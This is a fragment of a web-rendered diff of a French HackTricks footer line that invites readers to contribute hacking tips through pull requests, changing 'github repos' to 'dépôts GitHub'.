* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Reference in a new issue